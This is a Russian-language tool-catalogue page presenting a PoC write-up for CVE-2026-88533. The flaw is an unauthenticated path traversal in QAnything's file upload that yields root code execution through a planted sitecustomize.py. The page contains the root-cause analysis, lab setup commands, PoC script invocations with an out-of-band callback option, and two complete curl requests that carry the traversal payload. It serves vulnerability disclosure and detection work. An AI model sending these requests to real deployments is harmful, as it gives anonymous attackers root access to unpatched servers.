Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-88533 — PoC и воспроизведение в лабораторных условиях для CVE-2026-88533 — неаутентифицированная произвольная запись файлов, приводящая к RCE с правами root в QAnything через обход пути в эндпоинте загрузки. | Kitploit
Инструменты/GitHubGitHub/hemlock-lyk/cve-2026-88533
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC и воспроизведение в лабораторных условиях для CVE-2026-88533 — неаутентифицированная произвольная запись файлов, приводящая к RCE с правами root в QAnything через обход пути в эндпоинте загрузки.

Репозиторий
2621 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-88533: Неаутентифицированная произвольная запись файлов → Root RCE в QAnything

CVE ID: CVE-2026-88533 (назначен MITRE, публикация записи ожидается) Продукт: QAnything от netease-youdao — открытая платформа RAG / вопросов-ответов по базе знаний Затронуто: v1.4.x по v2.0.0 (ветка по умолчанию qanything-v2, вплоть до финального коммита 65de104) Исправленная версия: отсутствует — проект не поддерживается с 2025-03-12; единственное исправление санитизации (PR #483) находится в устаревшей ветке master и никогда не было влито в qanything-v2 Слабость: CWE-22 Path Traversal Воздействие: Неаутентифицированное создание произвольных файлов → удалённое выполнение кода с uid=0(root) Обнаружил: Yankui Li


Краткое описание

Конечная точка загрузки файлов POST /api/local_doc_qa/upload_files принимает контролируемое атакующим поле multipart filename и использует его в качестве пути назначения без санитизации разделителей пути. urllib.parse.unquote() разворачивает %2f обратно в /, фильтрация полноширинных символов и усечение длины оставляют ../ и абсолютные пути нетронутыми, а os.path.join(base, name) полностью отбрасывает base, когда name является абсолютным. Результат — open(file_location, "wb") записывает контролируемое атакующим содержимое куда угодно, куда может добраться процесс — по умолчанию внутри контейнера root.

Поскольку продукт нигде не требует аутентификации (user_id/user_info — обычные параметры запроса), любой доступный по сети экземпляр принимает это анонимно.

Первопричина

handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Два свойства делают это надёжно эксплуатируемым:

  1. Абсолютные пути работают напрямую — не нужно считать ../.
  2. Относительный обход также работает — %2e%2e%2f выживает, потому что unquote выполняется до любого фильтра.

Контраст по усилению защиты внутри той же кодовой базы: конечная точка upload_faqs заменяет / на _ в именах файлов. upload_files никогда не получила такой обработки, что делает её единственным вектором записи.

Примечание: LocalFile.__init__ имеет проверку if not os.path.exists(file_location), поэтому можно создавать только новые файлы — существующие файлы перезаписать нельзя. Поэтому эксплуатация нацелена на новые файлы в исполняемых местах.

От произвольной записи к root RCE

Официальный Docker-образ запускает Python-бэкенд от имени root. CPython автоматически импортирует sitecustomize.py из site-packages при запуске интерпретатора — свежий файл, помещённый в:

usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ относительно, или абсолютный путь) импортируется при следующем запуске бэкенда, выполняя код атакующего с uid=0(root).

Почему site-packages, а не каталог приложения? CPython запускает site.py до вставки sys.path[0], поэтому sitecustomize.py рядом с входным скриптом не импортируется автоматически. site-packages — единственная надёжная зона сброса.

Другие векторы были проверены и исключены (задокументированы для полноты):

  • /etc/cron.d/ — каталог существует и принимает записи, но образ поставляется без демона cron, поэтому полезная нагрузка никогда не выполняется.
  • Перезапись существующих конфигурационных/кодовых файлов — блокируется проверкой существования.

Воспроизведение в лаборатории

Официальный образ + зафиксированный уязвимый исходный код (коммит 65de104):

git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Использование PoC (без зависимостей, только стандартная библиотека Python 3)

Скрипт PoC поставляется в этом репозитории (poc_qanything_cve_2026_88533.py) — каждый элемент доказательств ниже был получен путём его запуска против лабораторного стека выше. Клонируйте и воспроизведите точный вывод самостоятельно:

# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full один раз перезапускает целевой контейнер (задокументированное поведение; импорт CPython срабатывает при запуске). Всё поставляется безопасным по умолчанию: никакого обратного шелла, никакой разрушительной полезной нагрузки — демонстрационная полезная нагрузка записывает файл-маркер, содержащий вывод id.

Как выглядит атакующий трафик

Вся атака — это два HTTP POST-запроса; вот на что должно срабатывать обнаружение (multipart filename, несущий абсолютный путь или последовательности ..//%2f, — ключевой сигнал):

# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Доказательства

Все доказательства ниже — это фактический вывод терминала poc_qanything_cve_2026_88533.py (скрипт в этом репозитории), запущенного против лабораторного стека, собранного из docker-compose-lab.yaml. Ни один шаг не был подделан или смоделирован — скрипт завершается с ненулевым кодом, если не проходит каждая проверка, поэтому вы можете проверить цепочку от начала до конца самостоятельно.

Лабораторный стек — официальный образ + минимальные зависимости, все контейнеры в рабочем состоянии:

Lab stack

--mode check — подтверждён неаутентифицированный примитив записи: маркер был записан вне каталога загрузки через multipart filename с абсолютным путём и прочитан обратно изнутри контейнера:

Check mode

--mode full — после перезапуска контейнера CPython автоматически импортирует внедрённый sitecustomize.py; маркер полезной нагрузки доказывает выполнение с uid=0(root):

Full chain

Скачать инструмент